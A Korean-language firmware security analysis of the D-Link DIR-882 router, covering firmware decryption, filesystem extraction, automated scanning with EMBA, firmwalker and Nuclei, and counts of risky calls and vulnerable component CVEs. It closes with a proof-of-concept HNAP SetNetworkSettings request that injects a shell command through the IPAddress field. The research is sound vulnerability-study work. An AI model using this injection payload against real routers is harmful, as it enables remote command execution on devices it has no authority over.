
본 보고서는 D-Link DIR-882 라우터 펌웨어를 분석하여 보안 취약점을 식별하고, 이를 자동화 도구 및 정적/동적 분석 기법을 활용하여 검증한 결과를 포함하고 있다. 본 연구에서는 주요 CVE를 분석하고, Embedded Malware Behavior Analyzer(EMBA)와 자동화 취약점 탐지 도구들을 활용하여 보안 결함을 식별하였다.
dlink-decrypt 오픈소스 툴을 활용하여 암호화된 .bin 파일 복호화decrypted.bin 파일을 분석하여 파일 시스템을 복원/bin, /etc, /lib, /sbin 등의 주요 디렉토리 구조를 확인nvram_daemon, dnsmasq, imgdecrypt 등의 실행 파일 탐색public.pem 파일 발견 (RSA 공개키 포함)system, execve 등)firmwalker를 통해 기본적인 계정 정보 및 암호화 키 탐색Nuclei로 HNAP API 관련 취약점 검사 (HTTP 요청 기반 탐지 실패)imgdecrypt 실행 파일이 /etc_ro/public.pem RSA 키를 참조하는 점을 발견firmwalker를 통해 패스워드 관련 파일 검색 실패 (펌웨어가 자체 인증 메커니즘 사용 가능성)EMBA 패키지 설치 및 필수 의존성 설치default scan profile)| 취약점 요소 | 탐지된 개수 |
|---|---|
| strcpy() 사용 | 1,259회 |
| system() 사용 | 44회 |
| 취약한 DNSMASQ 버전 | CVE 13건, Exploit 1건 |
| 취약한 OpenSSL 버전 | CVE 35건, Exploit 5건 |
| 취약한 Samba 버전 | CVE 62건, Exploit 11건 |
| 취약한 Linux Kernel 버전 | CVE 2,330건, Exploit 114건 |
SetNetworkSettings API에서 IPAddress 값을 검증 없이 사용POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Type: text/xml
SOAPACTION: "<http://purenetworks.com/HNAP1/SetNetworkSettings>"
<soap:Envelope>
<soap:Body>
<SetNetworkSettings xmlns="http://purenetworks.com/HNAP1/">
<IPAddress>&& ls > /tmp/test.txt &&echo 1</IPAddress>
</SetNetworkSettings>
</soap:Body>
</soap:Envelope>
/HNAP1/ API를 악용하여 원격에서 임의 명령 실행 가능system() 호출이 필터링 없이 수행됨